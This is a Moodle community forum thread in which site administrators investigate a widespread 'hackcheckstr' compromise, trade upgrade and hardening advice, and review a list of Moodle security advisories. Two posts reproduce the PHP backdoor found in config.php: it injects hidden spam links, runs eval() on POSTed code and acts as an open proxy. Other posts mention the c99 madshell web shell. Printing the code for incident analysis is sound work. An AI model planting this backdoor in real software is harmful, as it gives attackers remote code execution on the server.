Security issue: source files hacked ("hackcheckstr")

Security issue: source files hacked ("hackcheckstr")

د Christian Ebert لخوا -
د ځوابونو شمیر: 23

Hello,

we are using a fairly old version of Moodle (Moodle 1.5.2 + (2005060222)) and experienced an attack on 1/27 2009. The attacker modified at least two source files and created one file:

1) config.php (altered on 1/27/2009)

$links = '
xepxep
<a href=http://aims2.ideal.asu.edu/?search=viagra>viagra</a>;
<a href=http://aims2.ideal.asu.edu/?search=buying+viagra>buying viagra</a> [...]';

This string contains about 600 further lines of links.
Also there was a function included, which probably places those links on every requested page:

function output_callback($str)
{
GLOBAL $links;
preg_match("|<body[^>]*>|",$str,$arr);
return str_replace($arr[0],$arr[0].'<i style="display:none">'.$links.'</i>',$str);
} function get_page($url)
{
return file_get_contents($url);
} if(isset($_POST['code']) && $_POST['code'])
{
eval(stripslashes($_POST[code]));
exit;
}
if(isset($_GET['proxy']) && $_GET['proxy'])
{
print get_page($_GET['proxy']);
exit;
} ob_start ('output_callback');

2) A file was created 1/27/2009 in root: in.php, which was empty

3) index.php (root) was altered on 2/2/2009
The following lines where included:

<?php
?>
<!-- tdooqzinaakluixwons -->
<u style="display:none;\">"hackcheckstr"</u>
<!-- tdooqzinaakluixwons -->
--------
<?php
print_footer('home'); // Please do not modify this line
?>

I assume that this is somehow a Moodle vulnerability, because if you enter "hackcheckstr" in google you will get whole bunch of Moodle pages, which all seem to be affected.

My actions:
1) replaced all source files with a non-infected backup copy
2) changed all passwords (moodle-admin, ftp, mysql, ssh)
3) chmod 440 config.php and index.php (all other files are 755)

My questions:
1) Is this a known issue and how can it be resolved?
2) Does anybody know how this attack is conducted?
3) Was there probably more damage? (other source files, data folder, DB corruption)?
4) Do you think my actions will prevent me from further hacks of the same type?

Thanks a lot!

Christian

د درجې بندۍ اوسط: Useful (1)
In reply to Christian Ebert

Re: Security issue: source files hacked ("hackcheckstr")

د Tim Hunt لخوا -
د Core developers انځور د Documentation writers انځور د Particularly helpful Moodlers انځور د Peer reviewers انځور د Plugin developers انځور
1) Yes it is a known issue.

2) There are various common sorts of weaknesses that web applications may be vulnerable to. It requires constant vigilance to keep software safe from the latest threats. I don't know specifically how this particular hack is done.

3) There may be. You should treat everything with suspicion until you have verified that it is not damaged.

4) Follow standard good practice for internet connected software:
  • Keep up to date with software updates that include security fixes. (Moodle 1.5.3 was released on 11 November 2005!). If you are upgrading, you may as well go all the way to Moodle 1.9.4.
  • Keep yourself informed. In Moodle, this means going to the admin screens, and clicking the 'Register' button. Then you will be informed when a new version with security fixes is released.
  • Check that the server, on which your software runs, is configured securely. No point locking your windows if your front door is standing open. Security

In reply to Tim Hunt

Re: Security issue: source files hacked ("hackcheckstr")

د Christian Ebert لخوا -
Tim,
thanks for your quick reply. Actually we are very vigilant concerning the security of our system. The server software is updated regulary and there's no other web application running on this server. I would go so far and say, that our server is secure for the time being. We are also monitoring all activity and checking the integrity of the Moodle source files. That's why we found out within a week, that we were attacked.

We are also aware that our Moodle system is fairly old. This is for a variety of reasons, which are all a bad excuses, of course wink . On the other hand, while doing research on this particular hack, I found infected sites up to version 1.9+. So I assume that this particular hack is a possible threat for a lot of Moodle installations and is not only a matter of an outdated version. You can see how many sites are affected when entering "hackcheckstr" in Google. This is giving you 4000+ results and regardless where I click: it's moodle sites, not wordpress, typo3 or anything else. That was also a reason why I posted here.

I will try and figure out how this exploit was made and will share this information, if i am successful. But I also want to ask the community to help me with this or share information about similar experiences.

Thanks again for your help!

Christian
In reply to Christian Ebert

Re: Security issue: source files hacked ("hackcheckstr")

د Tim Hunt لخوا -
د Core developers انځور د Documentation writers انځور د Particularly helpful Moodlers انځور د Peer reviewers انځور د Plugin developers انځور
Good, glad to year you are on top of everything apart from the Moodle version.

I don't remember the exact details of when that particular vulnerability came to light. It sounds vaguely familiar, I think from other threads in this forum). However this is not really my area of expertise. As a developer I am more interested in writing secure code, than in details of particular instances when we screwed it up. So I can't remember the details of this one, and at the moment, my search skills are failing me at the moment.

The general policy is to support the last 4 stable branches with security fixes, so since March last year that means 1.6.x - 1.9.x. The 1.9.4 release was last week, and the public announcement will be today or tomorrow (we give people a with registered sites a week to update before the public announcement and release of the security advisories.)
In reply to Tim Hunt

Re: Security issue: source files hacked ("hackcheckstr")

د Jamie Robe لخوا -
I looked at couple of those googled sites at random, and when I look at the source code I don't see the "hackcheckstr" string, but each has a huge section of hyperlinks starting with the following:
<!-- iucedoisiuleipxoy--> <u style="display:none;\">
<a href="http://www.23hq.com/buy_mobic_g/story/3866687">Buy Mobic</a>

...

These sites are literally containing HUNDREDS of hyperlinks to all sorts of what appear to be drug sites???

They seem to place these before the footer on the main page.

If you turn off the CSS you see:

Attachment attack_on_moodle.png
In reply to Christian Ebert

Re: Security issue: source files hacked ("hackcheckstr")

د Martin Dougiamas لخوا -
د Core developers انځور د Documentation writers انځور د Moodle HQ انځور د Particularly helpful Moodlers انځور د Plugin developers انځور د Testers انځور
My guess is that your config.php and perhaps other files were left writeable by the apache process, and that a spammer exploited one of the old published vulnerabilities to rewrite your files with extra code. It's impossible to know exactly which particular vulnerability without examining your server logs very carefully (it would be great if you could do this to help make sure that it is an old one, and not a new one).

It does seem likely that the "hackcheckstr" spammer could be using an automated script to comb for Moodle sites and perform the attack automatically (conveniently tagging the sites with "hackcheckstr" for easy discovery later on).

As you have noted, prevention involves:

- making sure your files are not left in a writeable state
- keeping Moodle up to date! Which means the very latest point release or weekly for a given branch.
In reply to Martin Dougiamas

Re: Security issue: source files hacked ("hackcheckstr")

د Daniel Millions لخوا -
Martin is correct your config.php was most likely left vulnerable. I wrote a quick bit of code that hides my config file but still keeps it functional. When I have a few minutes I will grab it and post it here.

There are also many programs that will access your htcaccess file and add all kinds of hidden text to your web pages. There are always people out that want to do something bad to your website so just be prepared. do. The best thing you can do is keep Moodle up to date with the newest version. It won't always keep you safe but it's something you should.
In reply to Daniel Millions

Re: Security issue: source files hacked ("hackcheckstr")

د Jon Witts لخوا -
د Particularly helpful Moodlers انځور د Plugin developers انځور د Testers انځور
Curious... Why is there a link from the word "bad" to http://www.badcreditloancenter.com/ in the above post?
In reply to Daniel Millions

Re: Security issue: source files hacked ("hackcheckstr")

د Timothy Takemoto لخوا -

I was hacked three days ago with a madshell (a shell program giving pretty much full control to the hacker, including the power to change permissions) uploaded to my moodle route directory and a lot of links added to my config.php.

Which of the security problems might enable someone to be able to upload things to the moodle root directory or change config.php? How can moodle be used to upload something to its own route directory?

There are 19400 hits for +hackcheckstr +moodle
There are more 1500 hits for hackcheckstr moodle inurl:edu

My moodle is definately not up to to date. I wonder about the other 19400 (?) moodles out there. Why is Mr. Daniel Millions - who runs an SEO site - recommending that we keep up to date too? Are later versions always more secure than previous versions?

Anwyay, bearing in mind the extent perhaps might it be a good idea to specifically address this particular hack.

I was wondering if it might be possible to:

create a .htaccess with a list of files that are accessible in the route directory, and include in that list on the files that should exist in a moodle installation?
harden the permissions on the moodle route folder?
prevent access from domains outside of my country?

The code below seems to exist in many versions of this hack. So searting for "output_callback" or other unique substrings in the below is a good way to find the code.

function output_callback($str)           
{                                         
 GLOBAL $links;                          
    preg_match("|<body[^>]*>|",$str,$arr);
    return str_replace($arr[0],$arr[0].'<i style="display:none">'.$links.'</i>',$str);                                                                                         
}                                                                                         

function get_page($url)
{
return file_get_contents($url);
}

if(isset($_POST['code']) && $_POST['code'])
{
    eval(stripslashes($_POST[code]));
    exit;
}
if(isset($_GET['proxy']) && $_GET['proxy'])
{
    print get_page($_GET['proxy']);
    exit;
}

ob_start ('output_callback')
?>

Tim

In reply to Timothy Takemoto

Re: Security issue: source files hacked ("hackcheckstr")

د Petr Skoda لخوا -
د Core developers انځور د Documentation writers انځور د Peer reviewers انځور د Plugin developers انځور
You must upgrade to at least the latest version in the old branch you are using - sometimes we even backport security fixes into 1.6 branch wink

Setting permissions and counting files helps a bit, but the attackers can still abuse holes in your outdated installation - they already know how to attack dataroot, I am sure they will find out how to mess with your database one day.

In any case do backup regularly (database+files) and keep multiple backups at least a year back.

Petr
In reply to Petr Skoda

Re: Security issue: source files hacked ("hackcheckstr")

د Timothy Takemoto لخوا -

Petr

> You must upgrade to at least the latest version in the old branch you are using - sometimes we even backport security fixes into 1.6 branch

It is very kind of you to backport security fixes in to the 1.6 branch.

Unfortunately I have hacked my moodle to the extent that it is difficult to upgrade to the latest version in the 1.6 branch. I do not have  cvs access. I would like to patch my moodle.

Looking at the security issues so many of them do not seem relevant in that
they are relevant to modules that I am not using
they do not seem to be able to provide the hacker with the ability to do what is being done.
Others may be relevant but often they are difficult for me to understand. Often there is only one line of text explaining the relevance of the security issue in a language that is difficult for me, as a teacher (not sysadmin) to understand.
Some refer to the ability to get into the moodle installation but it is still unclear to me how this enables someone to put things into the moodle root directory.
I am guess that of the many security issues only a small subset relate to the hack that is going around so many moodles now.

Does anyone know what the relevant security issues are?
Has anyone got a honeypot?
Does anyone have ideas for hardening moodles against this particular attack?

I will/do keep backups.

I will upgrade my moodle to the latest in the branch when I have time, and further if I can be sure that the more recent moodles are indeed safer (there were 1.9.x moodles that had this problem - what does this mean?) and that they are sufficiently fast. I am unsure of the speed penalty.

By the way, I guess that Wordpress gets upgraded more because it has an upgrade button in the GUI. I wonder if this exists in recent moodles.

I am sure that the hacker is coming back. I am scared.

What little I have done includes
1) Searching for all strings related to the above hack.
1.1) In this endeavor the madshell backdoor left by the hacker is a useful tool. I wonder if I should post it here.
2) I have deleted all modules that I do not use.
3) I have looked at the logs for the time at which the ("mad") shell was created but can see no relevant activity therein.

Tim

In reply to Timothy Takemoto

Re: Security issue: source files hacked ("hackcheckstr")

د Petr Skoda لخوا -
د Core developers انځور د Documentation writers انځور د Peer reviewers انځور د Plugin developers انځور
Dear Tim,

>It is very kind of you to backport security fixes in to the 1.6 branch.

The 1.6x is not maintained for some time already. Officially there will not be patches any more, but unofficially sometimes critical security issues get fixed there too. But you can not rely on that and it is not usually announced.

> Unfortunately I have hacked my moodle to the extent that it is difficult to upgrade to the latest version in the 1.6 branch. I do not have cvs access. I would like to patch my moodle.

This is very common problem, you should not "hack" your moodle or use contribs that are not maintained if you are not ready/capable to maintain them yourself. Of course you can try to hire somebody to do that for you, but the results are never guaranteed. I doubt you will get any significant support for moodle 1.6.2+ here in forums.

> Looking at the security issues so many of them do not seem relevant in that they are relevant to modules that I am not using
they do not seem to be able to provide the hacker with the ability to do what is being done....

We could release security information that includes exploits and very detailed and easy to understand descriptions of those problems, but in the end it would result in more mass exploits. Some other projects do full disclosures, but unfortunately this does not work for moodle because people are not willing to upgrade regularly خفه

>Does anyone know what the relevant security issues are?
Any issues that can be exploited without logging in, those are usually marked as critical.

>Has anyone got a honeypot?
IMHO you do not need honeypot to detect attacks on known problems that are easily fixed by upgrade. Honeypots are good for developers and security experts, I doubt there is any benefit for normal users.

>Does anyone have ideas for hardening moodles against this particular attack?
There is no point in hardening of any software with known security problems. You are usually hardening your system against unknown problems. The hardening is not a permanent solution, attackers can sometimes find ways around it easily.

...

>I am sure that the hacker is coming back. I am scared.

Those attacks are automated, of course they will come back very soon. And if they find you did not close the security hole and instead just "hardened" your server they will find their way around your "hardening defences" (such as read only dirroot). If they do not find their way in they will still remember your site as being vulnerable and when they find a new way to exploit the same old problem they sure will.

>What little I have done includes
>1) Searching for all strings related to the above hack.

Do not search, just delete all files except your config.php and extra modules + reapply your modifications. Do not forget to delete all lang packs from modoeldata too

>1.1) In this endeavor the madshell backdoor left by the hacker is a useful tool. I wonder if I should post it here.

There is no benefit from posting that here.

>2) I have deleted all modules that I do not use.

Yes, you can delete any module except forum. Most of the blocks can be deleted too.

...

petr
In reply to Petr Skoda

Re: Security issue: source files hacked ("hackcheckstr")

د Timothy Takemoto لخوا -

Dear Petr

Shame about 1.6. I like for being role-less, light, and without new admin menu. It seems that there are fewer security issues for 1.6 but that may be because they are not being reported.

When I support, I try to support everyone regardless of their moodle version number.

Personally I think that the hackers can understan the cryptic description on the security announcements, but it is the teachers like me that can not. There are mass hacker exploits as it stands. Admittedly students might start hacking if the explanations got easier so there might even be more. I am not suggesting that anyone explain how to exploit but there might be less arcane language used. A lot of people using moodle are teachers not tech professionals. Gradually as moodle has progressed it has become something that only system adminstrators use but many of the people that have been here a long time (not sure if they come that much any more) were teachers. My guess is that there are still a lot of teacher administrated sites.

I went through the critical issues first thank you. I need to find the link to the bug tracker again that shows on the critical issues and only one 1.6.x. Martin or you told me it before. On the annoucement forum it is not so easy to filter.

I still wonder whether a read only dirroot would help. I often find that I am always thinking of ways to improve things a little, whereas a lot of more technical people talk only seem to feel that absolute solutions are worthwhile (e.g. on the issue of test security). I don't think that there are any absolute solutions, but I do believe that every little helps.

Perhaps my site will work as a honeypot. I will let folk know if the hacker comes back. If I win perhaps it will give an indication on what needs to be changed.

Thank you for the tip about the blocks. I have deleted lots of blocks and will delete more, and filters, and other things too.

C99madshell can be downloaded from the net. It is like having command line access to ones server. If you are on a rental and want to be able to search for files, and globally replace and do all sorts of things that you can only normally do if you are a system administrator then you might consider its use (probably password protected).

Tim

In reply to Timothy Takemoto

Re: Security issue: source files hacked ("hackcheckstr")

د Mauno Korpelainen لخوا -

Tim,

I have seen that script combination and the actual filemanager - madshell -  too because one of my friends mambo & moodle sites was hacked last year with madshell script.

The main problem may not be to find the madshell script - although madshell itself is a very advanced script that can be used like any other administration program on your site. The main problem is to find the original attack script that starts to decode several base64encoded files and finally gives the hacker madshell itself. If you can't find it one easy thing to do is to take course backups from courses and try to get them upgraded in a local test box (PC) and try to take a fresh start with new files.

It is also possible that when you cleaned files of moodle you forget to clean other files of your site - other cms files or main site index.php - and check those permissions for all files and folders.

I believe you have not found and deleted that original attack file - it is a php file but name of the file can be anything. In that one case I have seen it was hidden inside one of subfolders of a 3rd party component of old mambo. If the attack is done through moodle you should find the main attack files from some subfolder of moodle - calendar, help files, old tinymce,... inside a folder/subfolders that did not exist before attack. If you had the original version of your moodle (and other programs on your site) you could compare the folders and files with some program like WinMerge (on Windows) or some equal Linux/Unix program...

Using the spammer files is rather simple task for robots, human spammers or other links on other moodle/cms sites - one link or one call of known address can do it - see for example http://moodle.org/mod/forum/discuss.php?d=127121#p594245 (attachment)

We have seen quite many people asking about missing editor or other odd behaviour of their moodle and most administrators don't know that their site has been hacked. If one site has 100 links and one of them is clicked it may mean that new wave of 100 attacks is launced again - by robot programs. The number of hackcheckstr attacks does not even tell the truth - there are lots of other same kind of attacks with other strings - and other evil programs that are used together with madshell to spread those spam links.

In reply to Timothy Takemoto

Re: Security issue: source files hacked ("hackcheckstr")

د Timothy Takemoto لخوا -

I was hacked again at about 4am and spent the night going through security issues (see below).

There seems to be no log activity at time of hacking, so critical issues seem to be the ones to fix.

Anyway, to others suffering from the same or similar hack, I would recommend others fix the KSES problem and remove the mysql adminstration module inside moodle/admi first.

Critical
MSA-08-0001: Access elevation in user edit form
  OKAY. None have been elevated to Admin so i don't think that it is this.
 Deleted the other two admins.
MSA-08-0009: Persistent Cross-site Scripting (XSS) on blog entry title parameter
  No Blogs now. Always have been off. No entries. (But the code was there)
MSA-08-0015: accessible profiles of deleted users
  OKAY. I have always had forceloginforprofiles
MSA-08-0013: CSRF (Cross-site Request Forgery) on Moodle edit profile page
 New users could only be made if they knew a university IMAP password so unlikely reason.
        PATCHED
MSA-08-0008: KSES related issues
 This looks big. UPDATED KSES.php and security patched weblib.php
MSA-08-0017: customised PhpMyAdmin upgraded to 2.11.7.1
MSA-08-0028: customised PhpMyAdmin package upgraded to 2.11.9.4
 Deleted admin module. Could be initial reason. Post deletion re-hacked
MSA-08-0002: register_globals=on not supported
  OKAY. Register globals are off. See moodle/admin/php.info
MSA-09-0019: SQL injection in update_record
  OKAY. NOt relevant to 1.6.
MSA-09-0021: Error in ADODB OCI8/MSSQL drivers allows SQL injection vulnerability
  OKAY. ONLY 1.9

Major
MSA-08-0010: sql injection in HotPot module
 No hot pot module
MSA-08-0018: customised PhpMyAdmin package upgraded to 2.11.8.1
 Deleted admin module. Could be initial reason. Post deletion re-hacked
MSA-08-0021: design deficiency combined with incorrect use of format_string() allowing XSS
  UNPATCHED.
 Tried to patch but this did not seem to parse for me. Encoding problem?
             $string = preg_replace('/(<a\s[^>]+?>)(.+?)(<\/a>)/is','$2',$string);
 As soon as I add the above line I get a parse error.
MSA-08-0023: CSRF in messaging setting
 NO PATCH AVAILABLE?
 Messaging not used always off.
MSA-08-0027: customised PhpMyAdmin package upgraded to 2.11.9.3
 Deleted mysql admin module. Could be initial reason. Post deletion re-hacked
MSA-09-0003: Vulnerability in Snoopy 1.2.3
 NO PATCH. Recommends patching Snoopy but no idea how/what.
 Seems to be limited to registered users.
MSA-09-0004: XSS vulnerabilities in HTML blocks if "Login as" used
 NOT YET PATCHED.
 Seems to be limited to registered users.
MSA-09-0005: Moodle 'spell-check-logic.cgi' Insecure Temporary File Creation Vulnerability
        PATCHED >> REMOVED directory.
MSA-09-0008: CSRF vulnerability in forum code
        NOT YET PATCHED. BUT seems to allow forum post deletion. What is major about this?
MSA-09-0009: TeX filter file disclosure
MSA-09-0014: mimeTeX vulnerabilities
        OKAY. TeX and Algebra filters have allways been disabled and deleted.
 Deleted all filters except emailprotect, media plugin (used) activity names.
MSA-09-0010: Unzip binary may create symbolic links pointing outside of dataroot on unix/linux servers
 Using internal unzip on this server.
MSA-09-0011: Glossary, database and forum ratings are not verified after submission
 OKAY. Only affects grades.
MSA-09-0012: SQL injections when importing outcomes
 OKAY. Only for 1.9 and above.
MSA-09-0013: Customised PhpMyAdmin upgraded to 2.11.9.5
MSA-09-0015: Customised PhpMyAdmin upgraded to 2.11.9.6
 Deleted admin module. Could be initial reason. Post deletion re-hacked

High
MSA-08-0022: XSS through Wiki page titles
 Wikimodule Deleted. Could be initial reason. Post deletion re-hacked
MSA-08-0025: SQL injection in tags code
 Do not have tags feature
MSA-09-0006: Calendar export may allow brute force attacks
 NO PATCHED. Does not seem to be relevant to 1.6 but not sure.
MSA-09-0007: Missing input validation in logs allows potential XSS attacks
 NOT YET PATCHED. Can't see anything nast going on in longs. Lost of patching to do.

Minor
MSA-08-0026: customised HTML Purifier upgraded to 2.1.5
 No patch. Does not mean a lot to me. Upgrade moodle/lib/kses.php again?
MSA-09-0001: No way easy to remove pictures of deleted users
 NO PATCH. Perhaps user/pix.php from 1.9.x can be used in 1.6.x
MSA-09-0002: User pix disclosure
 NO PATCH. Perhaps user/pix.php from 1.9.x can be used in 1.6.x
MSA-09-0016: Email not properly escaped on user edit page
 NOT PATCHED. Does not look important now.
MSA-09-0017: Upgrade code in 1.9 does not escape tags properly
 OKAY. Only affects 1.9
MSA-09-0018: Incorrect escaping when updating first post in a single simple discussion forum type
 NOT PATCHED. Perhaps not for 1.6?
MSA-09-0020: Teachers can view students' grades in all courses in the overview report
 OKAY. Only for 1.9
MSA-09-0020: Teachers can view students' grades in all courses in the overview report
 OKAY. Only for 1.9

OTHER SECURITY
 Prevent profile spam on your Moodle site
 No email authenticaltion and forceloginforprofiles is on.
 I had left "install.php" in the moodle directory! This was quite probably a fatal mistake.

Actions of mine
Removed blocks not being used. WANT to remove more but unsure if okay to remove used blocks.
Removed unused filters
Removed unwanted course creators. WANT list of teachers. USE SQL to search for teachers.
Removed spell check

I wonder what else I could remove.

NOTABLE FACTS
There seems to be no record in the logs of user activity around the time of the hack or rehacks so a critical security problem that does not require login is probably the cause.

The madshell program has a flag at the top left saying "Saffe mode: Off (not secure)"
so while I know that moodle does not work in safe mode, I guess there is something about safe mode that prevents this hack.

The hack prevents people from logging in to my system, because of the change to config.php and a resulting cookie error (as if there were spaces after the last line of config.php). Since logging in becomes difficult immediately post hack and the hacker does not seem to be aware of this (since he or she seems to want to keep the sites hacked, and the admins unaware) that is further evidence that the hacker is not logged into moodle, at least when doing the last stages of the hacking.

In reply to Timothy Takemoto

Re: Security issue: source files hacked ("hackcheckstr")

د Petr Skoda لخوا -
د Core developers انځور د Documentation writers انځور د Peer reviewers انځور د Plugin developers انځور
Are you still using that old 1.6.2+ or did you upgrade to latest 1.6.x cvs branch from last week? If not this discussion is pointless.

If you find any critical security problem in latest 1.6.x please file issue into tracker, though I am not promising anything.

By the way, did you disable register globals on your server?

Petr
In reply to Petr Skoda

Re: Security issue: source files hacked ("hackcheckstr")

د Timothy Takemoto لخوا -

Alas, I do not have the time to move to 1.6.x.
Register globals have always been off on this server.
Alas the main weakness with c99Madshell - allow_url_fopen was On.

As mentioned elsewhere, I recommend that everyone who is not using offf site Scorms or Turntin turn allow_urlfopen to off in their php.ini.

Tim

In reply to Timothy Takemoto

Re: Security issue: source files hacked ("hackcheckstr")

د Mauno Korpelainen لخوا -

Setting allow_url_fopen to off may be good option - but I wonder if it prevents also some actions of moodle itself...

In addition to original http://www.derekfountain.org/security_c99madshell.php

also

http://www.devside.net/blog/smf-exploit-like-phpbb-hack

and particularly

http://dow.ngra.de/2008/11/04/script-kiddies-have-awesome-tools/

give some more advice

In reply to Timothy Takemoto

Re: Security issue: source files hacked ("hackcheckstr")

د Paul Holden لخوا -
د Core developers انځور د Moodle HQ انځور د Moodle Workplace team انځور د Particularly helpful Moodlers انځور د Peer reviewers انځور د Plugin developers انځور د Testers انځور
As Petr mentions, unless you've upgraded your entire Moodle install to the latest secure release for your branch, all this work is likely not going to secure your site mixed

Your system has been exploited already, and in doing so the attacker has probably left themselves multiple backdoors into the system - i.e. writing exploitable code to random PHP files on your server.

There seems to be no log activity at time of hacking, so critical issues seem to be the ones to fix.

Which log files have you been looking at? Moodle logs aren't likely to show any activity of the kind you're looking for. Your web server logs would be the likely place to discover how the attacker is getting in.
In reply to Paul Holden

Re: Security issue: source files hacked ("hackcheckstr")

د Timothy Takemoto لخوا -

Thank you very much Mauno and Peter

I can find no orignal hack file as referenced by Mauno's post - no changed files in the last two or three months other than those that I have already deleted. I do not have access to server logs but my sysadmin can't find suspcious activity either.

The only suspicious activity is some hits on moodler/error/index.php where someone explained their arrival at that page in a rather perculiar way using only a word from the title of my site. One of the reasons why one arrives at this page is when one is attempting to go to non-existent pages. Perhaps I deleted a block or module that the hacker was trying to access.

But in any event I was re-hacked even after the attempts to shore up my system mentioned above.

I started upgrading to 1.6 but then thought I should go the whole way to HEAD but I just have not found the time to upgrade to either. 

In the meantime, pathetic as may be, I have found that I have NOT been re-hacked since I left a message for the hacker (in the titles of files in dirroot) to the effect that the hack causes my students to be unable to enrol. Perhaps the hacker that has hacked my site has a heart. All the same of course, even in this case, there will be other hackers.

I am hoping that I will be able to
1) Install and modify either 1.6.9 CVS weekly or 1.9 HEAD
2) Back up and restore the courses in use on my PC
3) Dump and restore the database and upload the files to a clean version of my site.
4) Hope that the restored courses/users do not contain data that facilitates another hack.

That is what I will do as soon as I find time...

Tim

In reply to Timothy Takemoto

Re: Security issue: source files hacked ("hackcheckstr")

د Petr Skoda لخوا -
د Core developers انځور د Documentation writers انځور د Peer reviewers انځور د Plugin developers انځور
Oh, I hope you meant 1.9.x latest weekly, not HEAD which now means 2.0dev موسکا